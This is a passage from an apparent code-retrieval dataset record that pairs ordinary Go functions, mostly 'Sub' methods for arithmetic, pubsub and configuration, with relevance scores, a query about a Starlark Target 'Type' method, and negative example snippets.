rest with parameters\n\t\t\tregex := regexp.MustCompile(`\\$\\{.*\\}`)\n\t\t\tvariables := regex.FindAllStringSubmatch(src, -1)\n\t\t\tfor _, variable := range variables {\n\t\t\t\tsrc = strings.Replace(src, variable[0], getParamValue(variable[0][2:len(variable[0])-1], template), -1)\n\t\t\t}\n\t\t\treturn src\n\t\t}\n\n\tcase string:\n\t\t// Look up references for each of the variables\n\t\tregex := regexp.MustCompile(`\\$\\{([\\.0-9A-Za-z]+)\\}`)\n\t\tvariables := regex.FindAllStringSubmatch(val, -1)\n\t\tfor _, variable := range variables {\n\n\t\t\tvar resolved interface{}\n\t\t\tif strings.Contains(variable[1], \".\") {\n\t\t\t\t// If the variable name has a . in it, use Fn::GetAtt to resolve it\n\t\t\t\tresolved = FnGetAtt(\"Fn::GetAtt\", strings.Split(variable[1], \".\"), template)\n\t\t\t} else {\n\t\t\t\t// The variable name doesn't have a . in it, so use Ref\n\t\t\t\tresolved = Ref(\"Ref\", variable[1], template)\n\t\t\t}\n\n\t\t\tif resolved != nil {\n\t\t\t\tif replacement, ok := resolved.(string); ok {\n\t\t\t\t\tval = strings.Replace(val, variable[0], replacement, -1)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// The reference couldn't be resolved, so just strip the variable\n\t\t\t\tval = strings.Replace(val, variable[0], \"\", -1)\n\t\t\t}\n\n\t\t}\n\n\t\t// Replace rest with parameters\n\t\tregex = regexp.MustCompile(`\\$\\{.*\\}`)\n\t\tvariables = regex.FindAllStringSubmatch(val, -1)\n\t\tfor _, variable := range variables {\n\t\t\tval = strings.Replace(val, variable[0], getParamValue(variable[0][2:len(variable[0])-1], template), -1)\n\t\t}\n\t\treturn val\n\t}\n\n\treturn nil\n}", "func (ps *PubSub[Item]) Sub(topics ...string) chan Item {\n\treturn ps.sub(sub, nil, topics...)\n}", "func (n null) Sub(v Val) Val {\n\tpanic(ErrInvalidOpSubOnNil)\n}", "func (c *Clac) Sub() error {\n\treturn c.applyFloat(2, func(vals []value.Value) (value.Value, error) {\n\t\treturn binary(vals[1], \"-\", vals[0])\n\t})\n}", "func (c *Calculator) Sub() {\n\tif opValue, err := c.getOperationValue(); err != nil {\n\t\tc.returnError()\n\t} else {\n\t\tlog.Printf(\"%f - %f = \", value, opValue)\n\t\tvalue -= opValue\n\t\tlog.Printf(\"%f\\n\", value)\n\t\tc.returnResult()\n\t}\n}", "func Sub(v View, key string) View {\n\tvcfg, ok := v.(*viper.Viper)\n\tif ok {\n\t\treturn vcfg.Sub(key)\n\t}\n\treturn nil\n}", "func (z *E12) Sub(x, y *E12) *E12 {\n\tz.C0.Sub(&x.C0, &y.C0)\n\tz.C1.Sub(&x.C1, &y.C1)\n\treturn z\n}", "func ToSub(s string) string {\n\tvar buf bytes.Buffer\n\tfor _, r := range s {\n\t\tsub, _ := Sub(r)\n\t\tbuf.WriteRune(sub)\n\t}\n\treturn buf.String()\n}", "func Sub(out *NArray, in ...*NArray) *NArray {\n\n\tif len(in) < 2 {\n\t\tpanic(\"not in enough arguments\")\n\t}\n\tif out == nil {\n\t\tout = New(in[0].Shape...)\n\t}\n\tif !EqualShape(out, in...) {\n\t\tpanic(\"narrays must have equal shape.\")\n\t}\n\n\tsubSlice(out.Data, in[0].Data, in[1].Data)\n\n\t// Multiply each following, if more than two arguments.\n\tfor k := 2; k < len(in); k++ {\n\t\tsubSlice(out.Data, out.Data, in[k].Data)\n\t}\n\treturn out\n}", "func (c *ExampleController) Sub(ctx *app.SubExampleContext) error {\n\t// ExampleController_Sub: start_implement\n\n\t// Put your logic here\n\n\t// ExampleController_Sub: end_implement\n\tres := &app.Messagetype{}\n\treturn ctx.OK(res)\n}", "func (context *Context) Sub(name string) *Context {\n\treturn &Context{\n\t\tGlobal: context.Global,\n\t\tWorkingDir: context.WorkingDir,\n\t\tEnv: context.Env.Clone(),\n\t\tLogger: context.Logger.Named(name),\n\t}\n}", "func (ps *PubSub) Sub(cmd *Command) (CancelFunc, error) {\n\t// first check if the command contains at last a Run function\n\t// and a topic, otherwise it does not make any sense to\n\t// subscribe it.\n\tif cmd.Topic == \"\" {\n\t\treturn nil, fmt.Errorf(\"pubsub: sub: no Topic provided\")\n\t}\n\tif cmd.Run == nil {\n\t\treturn nil, fmt.Errorf(\"pubsub: sub: no Run function\")\n\t}\n\n\ttname := cmd.Topic\n\thash := hash(tname)\n\tt, err := ps.topic(tname)\n\tif err != nil {\n\t\tt = &topic{\n\t\t\tid: hash,\n\t\t\tname: tname,\n\t\t\tchs: make([]*channel, ps.MaxSubs),\n\t\t}\n\n\t\tps.Lock()\n\t\tps.registry[hash] = t\n\t\tps.Unlock()\n\t}\n\n\tch := newChannel()\n\n\t// find free place\n\tt.Lock()\n\tok := false\n\tindex := 0\n\tfor i, v := range t.chs {\n\t\tif v == nil {\n\t\t\tok = true\n\t\t\tindex = i\n\t\t\tt.chs[i] = ch\n\t\t\tbreak\n\t\t}\n\t}\n\tt.Unlock()\n\n\tif !ok {\n\t\treturn nil, errors.New(\"pubsub: too many subscribers\")\n\t}\n\n\tc, err := ch.run()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgo func() {\n\t\tvar err error\n\t\tfor d := range c {\n\t\t\tif err = cmd.Run(d); err != nil {\n\t\t\t\t// unsub closes c\n\t\t\t\tps.Unsub(index, tname)\n\t\t\t}\n\t\t}\n\t\tif cmd.PostRun != nil {\n\t\t\tcmd.PostRun(err)\n\t\t}\n\t}()\n\n\treturn func() error {\n\t\treturn ps.Unsub(index, tname)\n\t}, nil\n}", "func Sub(z, x, y *Elt)", "func (h *HUB) Sub(name string, f ...func(*Event)) {\n\th.sub <- listener{name, f}\n}", "func (e *ConstantExpr) Sub(other *ConstantExpr) *ConstantExpr {\n\tassert(e.Width == other.Width, \"sub: width mismatch: %d != %d\", e.Width, other.Width)\n\treturn NewConstantExpr(e.Value-other.Value, e.Width)\n}", "func (sc *TraceScope) Sub(name string) *TraceScope {\n\treturn newScope(sc.trc, sc, name)\n}", "func (c *Switch) GetSub(s string) Modifiable {\n\tc.lock.RLock()\n\tm := c.subRenderables[s]\n\tc.lock.RUnlock()\n\treturn m\n}", "func (q *Quantity) Sub(y Quantity) {\n\tq.s = \"\"\n\tif q.IsZero() {\n\t\tq.Format = y.Format\n\t}\n\tif q.d.Dec == nil && y.d.Dec == nil && q.i.Sub(y.i) {\n\t\treturn\n\t}\n\tq.ToDec().d.Dec.Sub(q.d.Dec, y.AsDec())\n}", "func (b *Slice) Sub(top, bot int) *Slice {\n\tif top < 0 || bot < top {\n\t\treturn nil\n\t}\n\treturn &Slice{\n\t\tbuffer: b.buffer,\n\t\ttop: b.top + top,\n\t\tbot: b.top + bot,\n\t\tcap: b.cap,\n\t}\n}", "func (v *Vector) Sub(rhs *Vector) *Vector {\n\tif rhs == nil {\n\t\treturn v\n\t}\n\tif v == nil {\n\t\tv = &Vector{\n\t\t\tword: \"\",\n\t\t\tvec: make([]float64, len(rhs.vec)),\n\t\t\telems: nil,\n\t\t}\n\t}\n\n\tl := min(len(v.vec), len(rhs.vec))\n\tvec := make([]float64, l)\n\tcopy(vec, v.vec)\n\tsaxpy(l, -1, rhs.vec, 1, vec, 1)\n\telems := make([]string, len(v.elems)+len(rhs.elems))\n\telems = append(elems, rhs.elems...)\n\telems = append(elems, v.elems...)\n\treturn &Vector{\n\t\tword: v.word + \" - \" + rhs.word,\n\t\tvec: vec,\n\t\telems: elems,\n\t}\n}", "func (v *UtilBuilder) Sub(t time.Time) (res time.Time, err error) {\n\tif v.Operation != SUBOPERATION {\n\t\terr = errors.New(\"Invalid Operation\")\n\t\tres = t\n\t} else {\n\t\tswitch v.Leap {\n\t\tcase HOURLEAP:\n\t\t\tres = subHour(t, v.Step)\n\t\tcase DAYLEAP:\n\t\t\tres = subDay(t, v.Step)\n\t\tcase WEEKLEAP:\n\t\t\tres = subWeek(t, v.Step)\n\t\tcase YEARLEAP:\n\t\t\tres = subYear(t, v.Step)\n\t\tdefault:\n\t\t\terr = errors.New(\"Undefined Operation\")\n\t\t\tres = t\n\t\t}\n\t}\n\treturn\n}", "func (z *InfraHamilton) Sub(x, y *InfraHamilton) *InfraHamilton {\n\tz.l.Sub(&x.l, &y.l)\n\tz.r.Sub(&x.r, &y.r)\n\treturn z\n}", "func karatsubaSub(z, x nat, n int) {\n\tif c := subVV(z[0:n], z, x); c != 0 {\n\t\tsubVW(z[n:n+n>>1], z[n:], c)\n\t}\n}", "func (c *Compound) GetSub(s string) Modifiable {\n\tc.lock.RLock()\n\tm := c.subRenderables[s]\n\tc.lock.RUnlock()\n\treturn m\n}", "func Sub( a *context.Value, b *context.Value ) (*context.Value,error) {\n if a != nil && b != nil {\n switch a.OperationType( b ) {\n case context.VAR_BOOL:\n return context.IntValue( a.Int() - b.Int() ), nil\n case context.VAR_INT:\n return context.IntValue( a.Int() - b.Int() ), nil\n case context.VAR_FLOAT:\n return context.FloatValue( a.Float() - b.Float() ), nil\n case context.VAR_COMPLEX:\n return context.ComplexValue( a.Complex() - b.Complex() ), nil\n default:\n }\n }\n\n return nil, errors.New( \"Unsupported type for sub\" )\n}", "func (s *sequencePubSub) Sub(seq sequenceId, atleast int64) <-chan int64 {\n\trv := make(chan int64, 1)\n\ts.reg <- sequenceReg{seq, sequenceObserver{atleast, rv}}\n\treturn rv\n}", "func (t *Dense) Sub(other *Dense, opts ...FuncOpt) (retVal *Dense, err error) {\n\n\tvar ret Tensor\n\tif t.oe != nil {\n\t\tif ret, err = t.oe.Sub(t, other, opts...); err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"Unable to do Sub()\")\n\t\t}\n\t\tif retVal, err = assertDense(ret); err != nil {\n\t\t\treturn nil, errors.Wrapf(err, opFail, \"Sub\")\n\t\t}\n\t\treturn\n\t}\n\n\tif suber, ok := t.e.(Suber); ok {\n\t\tif ret, err = suber.Sub(t, other, opts...); err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"Unable to do Sub()\")\n\t\t}\n\t\tif retVal, err = assertDense(ret); err != nil {\n\t\t\treturn nil, errors.Wrapf(err, opFail, \"Sub\")\n\t\t}\n\t\treturn\n\t}\n\treturn nil, errors.Errorf(\"Engine does not support Sub()\")\n}", "func (a *App) SubCommand(pattern string, handler Handler) {\n\ta.cmd.addRoute(pattern, handler)\n}", "func fnSubstr(ctx Context, doc *JDoc, params []string) interface{} {\n\tstats := ctx.Value(EelTotalStats).(*ServiceStats)\n\tif params == nil || len(params) != 3 {\n\t\tctx.Log().Error(\"error_type\", \"func_substr\", \"op\", \"substr\", \"cause\", \"wrong_number_of_parameters\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"wrong number of parameters in call to substr function\"), \"substr\", params})\n\t\treturn \"\"\n\t}\n\ti, err := strconv.Atoi(extractStringParam(params[1]))\n\tif err != nil {\n\t\tctx.Log().Error(\"error_type\", \"func_substr\", \"op\", \"substr\", \"cause\", \"param_not_int\", \"params\", params, \"error\", err.Error())\n\t\tstats.IncErrors()\n\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non int parameters in call to substr function\"), \"substr\", params})\n\t\treturn \"\"\n\t}\n\tj, err := strconv.Atoi(extractStringParam(params[2]))\n\tif err != nil {\n\t\tctx.Log().Error(\"error_type\", \"func_substr\", \"op\", \"substr\", \"cause\", \"param_not_int\", \"params\", params, \"error\", err.Error())\n\t\tstats.IncErrors()\n\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non int parameters in call to substr function\"), \"substr\", params})\n\t\treturn \"\"\n\t}\n\treturn extractStringParam(params[0])[i:j]\n}", "func (o *IntrospectedOAuth2Token) GetSub() string {\n\tif o == nil || o.Sub == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Sub\n}", "func NewSub[O mat.Tensor](x1 O, x2 O) *Sub[O] {\n\treturn &Sub[O]{\n\t\tx1: x1,\n\t\tx2: x2,\n\t}\n}", "func (c *Chat) Sub(subName string, topics []LogCat) chan LogLineParsed {\n\tnewSub := make(chan LogLineParsed, 10)\n\tc.logger.newSubs <- subToChatPump{\n\t\tName: subName,\n\t\tSubbed: topics,\n\t\tC: newSub,\n\t}\n\n\treturn newSub\n}", "func (c *client) Sub(q string, cb func(amqp.Delivery, types.Map) bool, sp ...SubParams) (err error) {\n\tc.MustQueue(q)\n\tp := c.getSubParams(sp)\n\tch, err := c.ch.Consume(q, p.Consumer, p.AutoAck, p.Exclusive, p.NoLocal, p.NoWait, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor m := range ch {\n\t\tpayload := types.Map{}\n\t\t_ = json.Unmarshal(m.Body, &payload)\n\t\tif cb(m, payload) {\n\t\t\t_ = m.Ack(p.Multiple)\n\t\t} else {\n\t\t\t_ = m.Nack(p.Multiple, p.RequeueOnNack)\n\t\t}\n\t}\n\n\treturn\n}", "func (c *Client) Sub(name string, args ...interface{}) (chan string, error) {\n\n\tif args == nil {\n\t\tlog.Println(\"no args passed\")\n\t\tif err := c.ddp.Sub(name); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tif err := c.ddp.Sub(name, args[0], false); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tmsgChannel := make(chan string, default_buffer_size)\n\tc.ddp.CollectionByName(\"stream-room-messages\").AddUpdateListener(genericExtractor{msgChannel, \"update\"})\n\n\treturn msgChannel, nil\n}", "func (z *Int) Sub(x, y *Int) *Int {}", "func InfoArgsSubcmd(args []string) {\n\tfr := gub.CurFrame()\n\tfn := fr.Fn()\n\tif len(args) == 2 {\n\t\tif len(fn.Params) == 0 {\n\t\t\tgub.Msg(\"Function `%s()' has no parameters\", fn.Name())\n\t\t\treturn\n\t\t}\n\t\tfor i, p := range fn.Params {\n\t\t\tgub.Msg(\"%s %s\", fn.Params[i], interp.ToInspect(fr.Env()[p], nil))\n\t\t}\n\t} else {\n\t\tvarname := args[2]\n\t\tfor i, p := range fn.Params {\n\t\t\tif varname == fn.Params[i].Name() {\n\t\t\t\tgub.Msg(\"%s %s\", fn.Params[i], interp.ToInspect(fr.Env()[p], nil))\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}", "func (x Dec) Sub(y Dec) (Dec, error) {\n\tvar z Dec\n\t_, err := apd.BaseContext.Sub(&z.dec, &x.dec, &y.dec)\n\treturn z, errorsmod.Wrap(err, \"decimal subtraction error\")\n}", "func (f *tmplFuncs) sub(x, y int) int { return x - y }", "func NewSub(url string, opts SubOpts, metr *Metrics) Sub {\n\taddr := MustParseURL(url)\n\tl := prometheus.Labels{lAddr: addr.String()}\n\n\ts := &sub{\n\t\tSubOpts: opts,\n\t\taddr: addr,\n\t\tqueue: &ringBuf{},\n\t\tpool: pool{New: func() interface{} { return newIStream() }},\n\t\t// metrics\n\t\tmetrics: metr,\n\t\tnumStreams: metr.numStreams.With(l),\n\t\tstreamDurationSec: metr.streamDurationSec.With(l),\n\t\tlostBytes: metr.lostBytes.With(l),\n\t\tlostMsgs: metr.lostMsgs.With(l),\n\t}\n\ts.hasData = sync.NewCond(&s.mu)\n\n\treturn s\n}", "func NewSub(w *model.Watcher, d *dao.Dao, c *conf.Config) (n *Sub, err error) {\n\tn = &Sub{\n\t\tc: c,\n\t\tw: w,\n\t\troutine: _defRoutine,\n\t\tbackoff: netutil.DefaultBackoffConfig,\n\t\tasyncRty: make(chan *rtyMsg, 100),\n\t\tdao: d,\n\t\tticker: time.NewTicker(time.Minute),\n\t}\n\tn.ctx, n.cancel = context.WithCancel(context.Background())\n\tif clu, ok := c.Clusters[w.Cluster]; ok {\n\t\tn.cluster = clu\n\t} else {\n\t\terr = errClusterNotSupport\n\t\treturn\n\t}\n\tif len(w.Filters) != 0 {\n\t\tn.parseFilter()\n\t}\n\terr = n.parseCallback()\n\tif err != nil {\n\t\terr = errCallbackParse\n\t\treturn\n\t}\n\t// init clients\n\tn.clients = NewClients(c, w)\n\terr = n.dial()\n\tif err != nil {\n\t\treturn\n\t}\n\tif w.Concurrent != 0 {\n\t\tn.routine = w.Concurrent\n\t}\n\tgo n.asyncRtyproc()\n\tfor i := 0; i < n.routine; i++ {\n\t\tgo n.serve()\n\t}\n\tcountProm.Incr(_opCurrentConsumer, w.Group, w.Topic)\n\treturn\n}", "func (z *Rat) Sub(x, y *Rat) *Rat {}", "func (z *polyGF2) Sub(a, b *polyGF2) *polyGF2 {\n\treturn z.Add(a, b)\n}", "func (p *G2Jac) Sub(curve *Curve, a G2Jac) *G2Jac {\n\ta.Y.Neg(&a.Y)\n\tp.Add(curve, &a)\n\treturn p\n}", "func (b *Builder) Sub(num int32) {\n\tb.instructions = append(b.instructions, asm.Push{\n\t\tValue: value.S32(-num),\n\t}, asm.Add{\n\t\tCount: 2,\n\t})\n\tsidx := len(b.stack) - 1\n\t// Change ownership of the top stack value to the add instruction.\n\tb.stack[sidx].idx = len(b.instructions)\n}", "func Sub(a int, b int) int {\n\treturn a - b\n}", "func Sub(a int, b int) int {\n\treturn a - b\n}", "func Sub(a int, b int) int {\n\treturn a - b\n}", "func GetSubkind(n *scpb.Node) string {\n\tif k := n.GetGenericSubkind(); k != \"\" {\n\t\treturn k\n\t}\n\treturn SubkindString(n.GetKytheSubkind())\n}", "func (z *Big) Sub(x, y *Big) *Big { return z.Context.Sub(z, x, y) }", "func Sub(a, b int) int {\n\treturn a - b\n}", "func Sub(a, b int) int {\n\treturn a - b\n}", "func Sub(a, b int) int {\n\treturn a - b\n}", "func (p *Parser) parseSubExpr() {\n\tdefer un(trace(p, \"parseSubExpr\"))\n}", "func Sub(v1, v2 *Vec) *Vec {\n\tnegV2 := Negate(v2)\n\treturn Add(v1, negV2)\n}", "func SubParser(parser *Parser) *Parser {\n\treturn CustomParser(parser.config)\n}", "func (v Posit16x2) Sub(x Posit16x2) Posit16x2 {\n\tout := Posit16x2{impl: make([]Posit16, 2)}\n\tfor i, posit := range v.impl {\n\t\tout.impl[i] = posit.Sub(x.impl[i])\n\t}\n\treturn out\n}", "func SubstTerm(vars []TermT, vals []TermT, t TermT) TermT {\n\tcount := C.uint32_t(len(vars))\n\t//iam: FIXME need to unify the yices errors and the go errors...\n\tif count == 0 {\n\t\treturn NullTerm\n\t}\n\treturn TermT(C.yices_subst_term(count, (*C.term_t)(&vars[0]), (*C.term_t)(&vals[0]), C.term_t(t)))\n}", "func (p *G1Affine) Sub(a, b *G1Affine) *G1Affine {\n\tvar p1, p2 G1Jac\n\tp1.FromAffine(a)\n\tp2.FromAffine(b)\n\tp1.SubAssign(&p2)\n\tp.FromJacobian(&p1)\n\treturn p\n}", "func NewSubExpr(scanner parser.Scanner, a, b Expr) Expr {\n\treturn newArithExpr(scanner, a, b, \"-\", func(a, b float64) float64 { return a - b })\n}", "func (v Vec) SSub(val float64) Vec {\n\treturn v.Copy().SSubBy(val)\n}", "func (z *E6) Sub(x, y *E6) *E6 {\n\tz.B0.Sub(&x.B0, &y.B0)\n\tz.B1.Sub(&x.B1, &y.B1)\n\tz.B2.Sub(&x.B2, &y.B2)\n\treturn z\n}", "func (mr *MockMessageServiceMockRecorder) Sub(ctx, in interface{}, opts ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{ctx, in}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Sub\", reflect.TypeOf((*MockMessageService)(nil).Sub), varargs...)\n}", "func (p Point2) Sub(ps ...Point2) Point2 {\n\tfor _, p2 := range ps {\n\t\tp[0] -= p2[0]\n\t\tp[1] -= p2[1]\n\t}\n\treturn p\n}", "func (x *MQQueueManager) Sub(gosd *MQSD, qObject *MQObject) (MQObject, error) {\n\tvar mqrc C.MQLONG\n\tvar mqcc C.MQLONG\n\tvar mqsd C.MQSD\n\n\tsubObject := MQObject{\n\t\tName: gosd.ObjectName + \"[\" + gosd.ObjectString + \"]\",\n\t\tqMgr: x,\n\t}\n\n\terr := checkSD(gosd, \"MQSUB\")\n\tif err != nil {\n\t\treturn subObject, err\n\t}\n\n\tcopySDtoC(&mqsd, gosd)\n\n\tC.MQSUB(x.hConn,\n\t\t(C.PMQVOID)(unsafe.Pointer(&mqsd)),\n\t\t&qObject.hObj,\n\t\t&subObject.hObj,\n\t\t&mqcc,\n\t\t&mqrc)\n\n\tcopySDfromC(&mqsd, gosd)\n\n\tmqreturn := MQReturn{MQCC: int32(mqcc),\n\t\tMQRC: int32(mqrc),\n\t\tverb: \"MQSUB\",\n\t}\n\n\tif mqcc != C.MQCC_OK {\n\t\treturn subObject, &mqreturn\n\t}\n\n\tqObject.qMgr = x // Force the correct hConn for managed objects\n\n\treturn subObject, nil\n\n}", "func Sub(cX, cY *ristretto.Point) ristretto.Point {\n\tvar subPoint ristretto.Point\n\tsubPoint.Sub(cX, cY)\n\treturn subPoint\n}", "func SubContains(v string) predicate.Account {\n\treturn predicate.Account(func(s *sql.Selector) {\n\t\ts.Where(sql.Contains(s.C(FieldSub), v))\n\t})\n}", "func (r *Rights) Sub(b *Rights) *Rights {\n\ts := makeRightsSet(r)\n\tfor _, right := range b.GetRights() {\n\t\tdelete(s, right)\n\t}\n\treturn s.rights()\n}", "func (fn *formulaFuncs) SUBTOTAL(argsList *list.List) formulaArg {\n\tif argsList.Len() < 2 {\n\t\treturn newErrorFormulaArg(formulaErrorVALUE, \"SUBTOTAL requires at least 2 arguments\")\n\t}\n\tvar fnNum formulaArg\n\tif fnNum = argsList.Front().Value.(formulaArg).ToNumber(); fnNum.Type != ArgNumber {\n\t\treturn fnNum\n\t}\n\tsubFn, ok := map[int]func(argsList *list.List) formulaArg{\n\t\t1: fn.AVERAGE, 101: fn.AVERAGE,\n\t\t2: fn.COUNT, 102: fn.COUNT,\n\t\t3: fn.COUNTA, 103: fn.COUNTA,\n\t\t4: fn.MAX, 104: fn.MAX,\n\t\t5: fn.MIN, 105: fn.MIN,\n\t\t6: fn.PRODUCT, 106: fn.PRODUCT,\n\t\t7: fn.STDEV, 107: fn.STDEV,\n\t\t8: fn.STDEVP, 108: fn.STDEVP,\n\t\t9: fn.SUM, 109: fn.SUM,\n\t\t10: fn.VAR, 110: fn.VAR,\n\t\t11: fn.VARP, 111: fn.VARP,\n\t}[int(fnNum.Number)]\n\tif !ok {\n\t\treturn newErrorFormulaArg(formulaErrorVALUE, \"SUBTOTAL has invalid function_num\")\n\t}\n\tsubArgList := list.New().Init()\n\tfor arg := argsList.Front().Next(); arg != nil; arg = arg.Next() {\n\t\tsubArgList.PushBack(arg.Value.(formulaArg))\n\t}\n\treturn subFn(subArgList)\n}", "func (ai *Arith) Sub(decimal1 *ZnDecimal, others ...*ZnDecimal) *ZnDecimal {\n\tvar result = copyZnDecimal(decimal1)\n\tif len(others) == 0 {\n\t\treturn result\n\t}\n\n\tfor _, item := range others {\n\t\tr1, r2 := rescalePair(result, item)\n\t\tresult.co.Sub(r1.co, r2.co)\n\t\tresult.exp = r1.exp\n\t}\n\treturn result\n}", "func sub(x, y int) int {\n\treturn x - y\n}", "func SubCmd(m map[string]Cmd) {\n\tprog := os.Args[0]\n\n\t// Supply the default \"help\" command if there is not one.\n\t_, ok := m[\"help\"]\n\tif !ok {\n\t\tm[\"help\"] = newHelp(prog, m)\n\t}\n\n\t// Show list of available commands when there is no argument.\n\tif len(os.Args) <= 1 {\n\t\tfmt.Fprintf(os.Stderr, \"Available subcommands of %s:\\n\", prog)\n\t\tprintUsage(m, \"\")\n\t\tos.Exit(1)\n\t}\n\n\t// Find and run the command.\n\tcmd := os.Args[1]\n\tsub, ok := m[cmd]\n\tif !ok {\n\t\tfmt.Fprintf(os.Stderr, \"Unrecognized subcommand: %q. Run without arguments to see available subcommands. These subcommands partially match yours:\\n\", cmd)\n\t\tprintUsage(m, cmd)\n\t\tos.Exit(1)\n\t}\n\tsub.Action(os.Args[2:])\n}" ]
[ "0.6531688", "0.6498178", "0.64098775", "0.6193627", "0.6166976", "0.6087103", "0.6056032", "0.59578586", "0.595171", "0.5871515", "0.5805317", "0.57967633", "0.5778368", "0.5746251", "0.5745691", "0.56985414", "0.56848735", "0.5681427", "0.5592972", "0.55728865", "0.55671126", "0.555637", "0.55229616", "0.5495424", "0.5469223", "0.54229456", "0.541169", "0.5407259", "0.54006195", "0.5352153", "0.5346666", "0.53398144", "0.53181547", "0.5315006", "0.52902925", "0.5276457", "0.527071", "0.5267079", "0.5265104", "0.52645", "0.52602637", "0.523406", "0.52311933", "0.5224815", "0.52129614", "0.51882696", "0.51623464", "0.5156712", "0.5141003", "0.5139785", "0.5138951", "0.5135123", "0.513501", "0.5125983", "0.51225764", "0.5118672", "0.5112668", "0.5102269", "0.50954616", "0.50884444", "0.50848377", "0.5080569", "0.5075164", "0.5068005", "0.50565547", "0.50549257", "0.505375", "0.505154", "0.5041813", "0.50196594", "0.5006641", "0.5004929", "0.49876493", "0.49669483", "0.49669483", "0.49669483", "0.49610618", "0.49588266", "0.49488562", "0.49488562", "0.49488562", "0.49461", "0.49450737", "0.49071896", "0.4903126", "0.4894396", "0.48907533", "0.48898098", "0.4887141", "0.48856917", "0.48847997", "0.48644263", "0.48624876", "0.48620573", "0.48603994", "0.48495662", "0.4847818", "0.4846074", "0.4835221", "0.48347765" ]
0.8053445
0
Target Type implements the starlark.Value.Type() method.
func (t *Target) Type() string { return "Target" }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (value *Value) Type() Type {\n\treturn value.valueType\n}", "func (v *Value) Type() kiwi.ValueType {\n\treturn Type\n}", "func Type(value r.Value) r.Type {\n\tif !value.IsValid() || value == None {\n\t\treturn nil\n\t}\n\treturn value.Type()\n}", "func (v Value) Type() Type {\n\treturn v.Typ\n}", "func (val Value) Type() Type {\n\treturn val.typ\n}", "func (o MetricTargetOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v MetricTarget) string { return v.Type }).(pulumi.StringOutput)\n}", "func (v Value) Type() Type {\n\treturn v.typ\n}", "func (data *Instance) Type() Value {\n\treturn data.TypeTag\n}", "func (v Value) Type() Type {\n\tif !v.v.IsValid() {\n\t\treturn TypeUndefined\n\t}\n\n\tif v.v.CanInterface() {\n\t\ti := v.v.Interface()\n\t\tswitch i.(type) {\n\t\tcase Function:\n\t\t\treturn TypeFunction\n\t\tcase Object:\n\t\t\tif _, ok := i.(stringObject); ok {\n\t\t\t\treturn TypeString\n\t\t\t}\n\t\t\treturn TypeObject\n\t\t}\n\t}\n\n\tswitch v.v.Kind() {\n\tcase reflect.Ptr:\n\t\treturn TypeNull\n\tcase reflect.Bool:\n\t\treturn TypeBoolean\n\tcase reflect.Float64:\n\t\treturn TypeNumber\n\tdefault:\n\t\treturn TypeUndefined\n\t}\n\n}", "func (this *Self) Type() value.Type { return value.JSON }", "func (v Value) Type() ValueType {\n\tif v.iface == nil {\n\t\treturn NilType\n\t}\n\tswitch v.iface.(type) {\n\tcase int64:\n\t\treturn IntType\n\tcase float64:\n\t\treturn FloatType\n\tcase bool:\n\t\treturn BoolType\n\tcase string:\n\t\treturn StringType\n\tcase *Table:\n\t\treturn TableType\n\tcase *Code:\n\t\treturn CodeType\n\tcase Callable:\n\t\treturn FunctionType\n\tcase *Thread:\n\t\treturn ThreadType\n\tcase *UserData:\n\t\treturn UserDataType\n\tdefault:\n\t\treturn UnknownType\n\t}\n}", "func (this *Value) Type() int {\n\treturn this.parsedType\n}", "func (this *Element) Type() value.Type { return value.JSON }", "func (v Value) Type() Type {\n\tpanic(message)\n}", "func (a ValueNode) GetType() string {\n\treturn \"ValueNode\"\n}", "func (a AttributeValue) Type() AttributeValueType {\n\tif a.orig.Value == nil {\n\t\treturn AttributeValueNULL\n\t}\n\tswitch a.orig.Value.(type) {\n\tcase *otlpcommon.AnyValue_StringValue:\n\t\treturn AttributeValueSTRING\n\tcase *otlpcommon.AnyValue_BoolValue:\n\t\treturn AttributeValueBOOL\n\tcase *otlpcommon.AnyValue_IntValue:\n\t\treturn AttributeValueINT\n\tcase *otlpcommon.AnyValue_DoubleValue:\n\t\treturn AttributeValueDOUBLE\n\tcase *otlpcommon.AnyValue_KvlistValue:\n\t\treturn AttributeValueMAP\n\tcase *otlpcommon.AnyValue_ArrayValue:\n\t\treturn AttributeValueARRAY\n\t}\n\treturn AttributeValueNULL\n}", "func (s *Smpval) Type() reflect.Type {\n\treturn s.val.Type()\n}", "func (o RuleTargetOutput) Type() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RuleTarget) string { return v.Type }).(pulumi.StringOutput)\n}", "func (o MetricTargetPtrOutput) Type() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *MetricTarget) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.Type\n\t}).(pulumi.StringPtrOutput)\n}", "func (object Object) Type(value interface{}) Object {\n\treturn object.Property(as.PropertyType, value)\n}", "func (o MetricTargetPatchOutput) Type() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v MetricTargetPatch) *string { return v.Type }).(pulumi.StringPtrOutput)\n}", "func (e REnv) Type() Type { return e.Value().Type() }", "func (inst *InstFMul) Type() types.Type {\n\t// Cache type if not present.\n\tif inst.Typ == nil {\n\t\tinst.Typ = inst.X.Type()\n\t}\n\treturn inst.Typ\n}", "func (node *GoValueNode) GetType() (reflect.Type, error) {\n\n\treturn node.thisValue.Type(), nil\n}", "func (v Value) Type() querypb.Type {\n\treturn v.typ\n}", "func (a AttributeValue) Type() AttributeValueType {\n\treturn AttributeValueType(a.orig.Type)\n}", "func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn 